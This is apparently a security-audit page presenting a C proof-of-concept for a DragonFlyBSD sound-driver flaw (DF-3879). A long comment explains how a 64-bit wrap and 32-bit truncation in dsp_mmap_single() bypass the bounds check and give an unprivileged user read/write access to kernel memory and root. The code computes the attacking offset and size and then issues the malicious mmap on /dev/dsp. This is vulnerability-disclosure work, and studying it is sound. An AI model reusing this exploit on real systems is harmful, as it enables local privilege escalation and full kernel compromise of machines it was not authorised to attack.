โฌข DragonFlyBSD Kernel Audit
DF-3879 / mmap_ofs_overflow.c
โ† back to finding โ†“ download raw
/*
 * DF-3879 PoC โ€” integer-overflow bounds bypass + 32-bit truncation in
 * dsp_mmap_single() (sys/dev/sound/pcm/dsp.c:2296-2364), reachable by any
 * unprivileged user on a machine with a PCM sound device (/dev/dsp* are
 * created 0666 root:wheel, dsp.c:2506-2509).
 *
 * The kernel's only bounds check is:
 *
 *     (*offset + size) > sndbuf_getsize(c->bufsoft)   dsp.c:2342
 *
 * with *offset (vm_ooffset_t, u64) taken straight from the user's mmap()
 * offset โ€” kern_mmap() does no range validation of pos for VCHR mappings
 * (sys/vm/vm_mmap.c:195-197 page-aligns only) and dev_dmmap_single() passes
 * the pointer through unvalidated (sys/kern/kern_device.c:286-310).
 * A 64-bit wrap (*offset = 2^64 - size + x, x in [0, bufsize]) makes the
 * sum small and the check PASS.
 *
 * The wrapped offset is then handed to:
 *
 *     *offset = (uintptr_t)sndbuf_getbufofs(c->bufsoft, *offset);  dsp.c:2355
 *
 * whose parameter is `unsigned int ofs` (sys/dev/sound/pcm/buffer.c:424-429)
 * โ€” the u64 is TRUNCATED to 32 bits. The only in-function bound is a
 * KASSERT (compiled out on GENERIC/production kernels), so ofs in
 * [bufsize, 4GB) yields
 *
 *     wild = b->buf + ofs          (b->buf = kernel KVA of the soft buffer)
 *
 * That wild kernel pointer becomes the device-pager object offset
 * (dev_pager_alloc, dsp.c:2357 -> sys/vm/device_pager.c:174), and every
 * page fault on the user mapping funnels it back through the legacy
 * d_mmap hook:
 *
 *     old_dev_pager_fault -> dev_dmmap(dev, wild + n*PAGE, prot)
 *                          -> dsp_mmap(dev, offset)        dsp.c:2287-2294
 *                          -> atop(vtophys(wild + n*PAGE))
 *
 * i.e. vtophys() on an ATTACKER-CHOSEN kernel virtual address (any page in
 * [b->buf, b->buf + 4GB)), and the returned physical page is entered into
 * the user's PTEs read/write (pmap_kextract, pmap.c:1865-1890; unmapped
 * wild targets degrade to phys-page-0-derived garbage frames rather than
 * an error).  Result on sound-equipped systems: unprivileged arbitrary
 * kernel-memory read/write within 4GB of the sound soft buffer -> uid=0.
 *
 * This guest has NO PCM device (no audio PCI class, no hw.snd sysctl, no
 * /dev/dsp* โ€” see env.txt), so the kernel path cannot execute here.  What
 * this PoC proves on any machine is (1) the exact wrap/truncation
 * arithmetic that bypasses dsp.c:2342 and lands on an attacker-chosen
 * wild ofs (the "primitive selection" half of the chain), and (2) the
 * device-absence gate on this guest.
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>

/* replica of the kernel check at dsp.c:2342 (u64 add + u32 compare) and the
 * u32 truncation at buffer.c:424; returns the ofs the kernel would use. */
static int pick_target(uint64_t bufsize, uint64_t size, uint64_t user_off,
		       uint32_t *ofs_out, uint64_t *sum_out)
{
	*sum_out = user_off + size;			/* wraps mod 2^64 */
	*ofs_out = (uint32_t)user_off;			/* unsigned int ofs */
	return (int)((*sum_out) > bufsize);		/* 0 == check PASSES */
}

int main(int argc, char **argv)
{
	/* example soft-buffer size (2nd-level default for 48kHz/stereo/s16
	 * latency profile is 16KB..64KB; any value works, the arithmetic is
	 * size-relative) */
	uint64_t bufsize = argc > 1 ? strtoull(argv[1], NULL, 0) : 0x10000;

	printf("[*] dsp_mmap_single bounds check (dsp.c:2342) vs u32 truncation "
	       "(buffer.c:424), bufsize=%llu\n", (unsigned long long)bufsize);

	/* 1) sanity: a sane offset is rejected by the check */
	uint32_t ofs; uint64_t sum;
	int r = pick_target(bufsize, 0x1000, 0x20000, &ofs, &sum); /* beyond buf */
	printf("    sane   off=0x20000 size=0x1000 -> sum=0x%llx : %s\n",
	       (unsigned long long)sum, r ? "REJECTED (check works)" : "PASSED (BUG)");

	/* 2) attack: choose the wild ofs we want the kernel to use, then solve
	 *    for (size, offset) that makes *offset+size wrap to <= bufsize.
	 *    ofs must satisfy: size = 2^32 - ofs (mod 2^32), size <= mappable
	 *    user VA (<= 4GB here).  e.g. target b->buf + 0x10000000 (256MB
	 *    above the sound buffer โ€” heap-spray landing zone). */
	uint32_t want_ofs = 0x10000000;
	uint64_t size = (uint64_t)0x100000000ULL - want_ofs;	/* 0xF0000000 */
	uint64_t user_off = (uint64_t)(0ULL - size);	/* = 2^64 - size (mod 2^64) */
	r = pick_target(bufsize, size, user_off, &ofs, &sum);
	printf("    attack off=0x%016llx size=0x%llx\n",
	       (unsigned long long)user_off, (unsigned long long)size);
	printf("           -> wrapped sum=0x%llx <= bufsize: %s ; "
	       "truncated ofs=0x%x (wanted 0x%x) : %s\n",
	       (unsigned long long)sum,
	       r ? "FAIL" : "PASS",
	       ofs, want_ofs,
	       (r == 0 && ofs == want_ofs) ?
		   "CHECK BYPASSED, wild ofs controlled" : "unexpected");

	/* 3) kernel-side attempt: needs a live PCM device */
	int fd = open("/dev/dsp", O_RDWR);
	if (fd < 0) {
		printf("[*] open(\"/dev/dsp\"): %s (errno=%d) โ€” no PCM device "
		       "on this guest, kernel path not executable here\n",
		       strerror(errno), errno);
		return 2;
	}
	void *p = mmap(NULL, (size_t)size, PROT_READ | PROT_WRITE,
		       MAP_SHARED, fd, (off_t)user_off);
	if (p == MAP_FAILED) {
		printf("[*] mmap: %s (errno=%d)\n", strerror(errno), errno);
	} else {
		/* DO NOT actually touch it here: on an affected system page 0
		 * of this mapping aliases kernel memory at b->buf+ofs. */
		printf("[!] mmap succeeded โ€” mapping page 0 aliases KVA "
		       "buf+0x%x; touching it would read/write kernel memory\n",
		       want_ofs);
		munmap(p, (size_t)size);
	}
	close(fd);
	return 0;
}